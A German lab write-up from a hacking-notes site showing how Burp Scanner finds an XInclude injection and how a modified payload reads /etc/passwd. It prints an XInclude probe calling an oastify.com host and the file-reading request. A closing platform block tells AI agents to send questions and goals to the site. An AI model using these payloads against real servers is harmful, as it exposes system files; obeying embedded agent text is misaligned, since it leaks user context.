> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/essential-skills/quick-detection-with-a-target-scan.md).

# Schnelle Erkennung mit einem Target-Scan

### Schwachstellen schnell mit gezieltem Scannen entdecken

#### Laborkontext

Dieses Lab enthält eine Schwachstelle für **das Lesen beliebiger Dateien auf dem Server**. / Das Ziel ist es, zu **den Inhalt der `/etc/passwd` Datei in weniger als 10 Minuten wiederherzustellen**.

Aufgrund dieser Zeitvorgabe wird empfohlen, zu verwenden **Burp Scanner** anstatt eines vollständigen Anwendungsaudits.

#### Zeitliche Begrenzung

* Ein \*\*10-Minuten-Timer\*\* ist ab Beginn des Labs aktiv.
* Ein vollständiger Site-Scan kann zu langsam sein.
* Daher ist es vorzuziehen, **potenziell verwundbare Einstiegspunkte gezielt anzusteuern**.

<figure><img src="/files/4bd08163f736c8ebab376d4ef57cce2ad2a8fae2" alt=""><figcaption></figcaption></figure>

#### Methodik

1. **Eine relevante HTTP-Anfrage abfangen** mit Burp Proxy.

<figure><img src="/files/9132c98a6c16f22bfe6cdbd8eb80f95e02dca25a" alt=""><figcaption></figcaption></figure>

Analysiere die Logik der Abfrage schnell, um einen interessanten Endpunkt zu identifizieren.

Führe einen gezielten Scan über **Burp Scanner** für diese spezifische Abfrage aus.

<figure><img src="/files/a180a1458819629789ebb9d3175a953c5ad32eab" alt=""><figcaption></figcaption></figure>

#### Burp-Scan-Konfiguration

* Ausgewählter Scantyp: **Crawl und Audit**

<figure><img src="/files/d98f427728ac89585962b97108bd72968091d5d5" alt=""><figcaption></figcaption></figure>

* Modus : **Schnellscan**

Ziel: schnell einen ausnutzbaren Angriffsvektor identifizieren

<figure><img src="/files/e9d4abb3cfdee2b37e73a0f940d0a8a5e3bf7cf8" alt=""><figcaption></figcaption></figure>

#### Schwachstelle identifiziert

Der Scan zeigt eine Schwachstelle vom Typ **XML-Injektion (XInclude)**.

<figure><img src="/files/72071011abbdfba0cb2997c17dc89bc2ac47f0a7" alt=""><figcaption></figcaption></figure>

Vom Burp Scanner erkannte Ausgangsnutzlast:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Dies bestätigt, dass der Server **XInclude** Entitäten ohne Einschränkung verarbeitet.

#### Ausnutzung: Lesen `/etc/passwd`

Die Nutzlast wird geändert, um eine lokale Systemdatei einzubinden:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/68b389d18d824ce8a1d3fdb32638f9a58860ad55" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
